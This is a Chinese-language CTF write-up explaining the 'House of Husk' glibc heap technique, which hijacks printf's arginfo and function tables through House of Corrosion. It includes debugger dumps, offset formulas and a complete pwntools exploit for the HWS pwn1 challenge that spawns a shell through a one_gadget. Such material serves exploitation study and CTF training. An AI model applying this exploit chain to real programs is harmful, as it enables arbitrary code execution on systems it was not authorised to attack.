house of husk
针对printf函数的攻击,主要利用printf函数的虚表,通过篡改虚表指针执行ogg。
原理
printf函数在执行过程中会根据第一个格式化字符”%X”在虚表__printf_arginfo_table和__printf_function_table寻找函数指针进行执行,具体寻找过程就是__printf_arginfo_table[‘X’],找到这个指针,然后跳到这执行,只要把这里的指针改成ogg就可以getshell,修改这里的指针大致分为两种办法,一种是任一地址写,直接写这两个虚表对应地址的指针,第二个是通过堆伪造这两个虚表,第一个很好理解,主要讲一下第二个。
伪造虚表
__printf_arginfo_table和__printf_function_table这两个虚表地址储存在main_arena下面的地址中,而且和main_arena首地址很接近,在我这个glibc版本下只相差0xc30,这是伪造的第一步
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 0x7ffff7dce870 <__printf_arginfo_table>: 0x000000000060bb90 0x0000000000000000 0x7ffff7dce880 <buf>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce890 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8a0 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8b0 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8c0 <buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8d0 <ttyname_buf>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8e0 <getmntent_buffer>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce8f0 <qfcvt_bufptr>: 0x0000000000000000 0x0000000000000000 0x7ffff7dce900 <buffer>: 0x0000000000000000 0x0000000000000000 pwndbg> x/20gx &main_arena 0x7ffff7dcdc40 <main_arena>: 0x0000000000000000 0x0000000000000001 0x7ffff7dcdc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dcdc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dcdc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
|
要想执行这两个虚表储存的函数指针,得先找见这两个虚表地址才行,然后通过虚表地址加上偏移量得到函数地址跳进去执行,这两个虚表地址储存在固定的位置,所以只要能覆盖这两个虚表地址成堆地址,然后再相应偏移量处添上ogg就可以getshell了吗不是。
现在关键的就是覆盖虚表地址,网上的普遍做法是利用House of Corrosion技术。这个技术和fastbin息息相关。
House of Corrosion
众所周知,fastbin链表的大小是0x20到0x80之间,但其实最大值并不是固定的,而是global_max_fast中的值决定的,一般是0x80,所以fastbin的最大值就是0x80
1
| 0x7ffff7dcf940 <global_max_fast>: 0x0000000000000080 0x0000000000000000
|
所以可以通过改变这个地方的值让fasbin能接受的最大值变大,一般是利用unsortbinattack,也可以直接ufa来完成。
还有一个知识点就是从main_arena+8开始存放fastbin[0x20]的头指针,glibc预留了十个指针来存放fastbin的头指针,比如free的chunk是0x50,那储存这个堆地址的地址是main_arena+8+(0x50-0x20)/0x10*8也就是在main_arena+32处存放堆地址,简而言之就是main_arena+8加上偏移量处存放堆地址,这个偏移量和size正相关,当通过修改global_max_fast的值让可free的chunk的size是任意值,那我们就可以向main_arena+8后的任意一个地址填上堆地址了。
很有意思的攻击手段,那也就是说可以向__printf_arginfo_table和__printf_function_table中填入堆地址了,到这里攻击思路就闭环。
攻击思路
先修改global_max_fast的值,然后申请两个堆,堆的大小通过下面的公式算出,各伪造一个虚表,然后再伪造printf_arginfo_table的堆上写好ogg,然后都free掉修改虚表地址,最后调用printf完成攻击
总结
1.不同版本main_arena+8到__printf_arginfo_table和__printf_function_table的偏移量不同,根据偏移量确定size的值完成堆地址覆盖。
chunk_size=地址差值*2+0x20
2.实施前提:
1.有至少一次ufa完成global_max_fast的修改
2.有prinf函数且第二个参数可控
例题 HWS pwn1
感觉这道题作为house of husk的入门题挺不错的,简直就是专门为这个利用而生,刚好有一次unsortbinatack,刚好能申请两个合法的堆,刚好有很多printf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * sh=process('./pwn') context.log_level='debug' libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') fastbinY=libc.sym['__malloc_hook']+0x10+8 ''' 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
''' def exp(): sh.recvuntil('Now you can get a big box, what size?\n') print_arginfo_table=0x3ec870 printf_function_table=0x3f0738 chunk_size1=(print_arginfo_table-fastbinY)*2+0x20-2*0x10 chunk_size2=(printf_function_table-fastbinY)*2+0x20-2*0x10 sh.sendline(str(chunk_size1)) sh.recvuntil('Now you can get a bigger box, what size?\n') sh.sendline(str(chunk_size2)) sh.recvuntil('Do you want to rename?(y/n)\n') sh.send('y\x00') sh.recvuntil('Now your name is:') libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96 sh.recvuntil('please input your new name!\n') global_max_fast_addr=libc_base+0x3ed940 sh.send(p64(0)+p64(global_max_fast_addr-0x10)) sh.recvuntil('box?(1:big/2:bigger)\n') sh.sendline('1') sh.recvuntil('Let\'s edit, ') ogg=libc_base+0x4f432 print hex(ogg) payload="a"*8*(ord('s')-2) + p64(ogg)*2 sh.sendline(payload) sh.interactive() exp()
|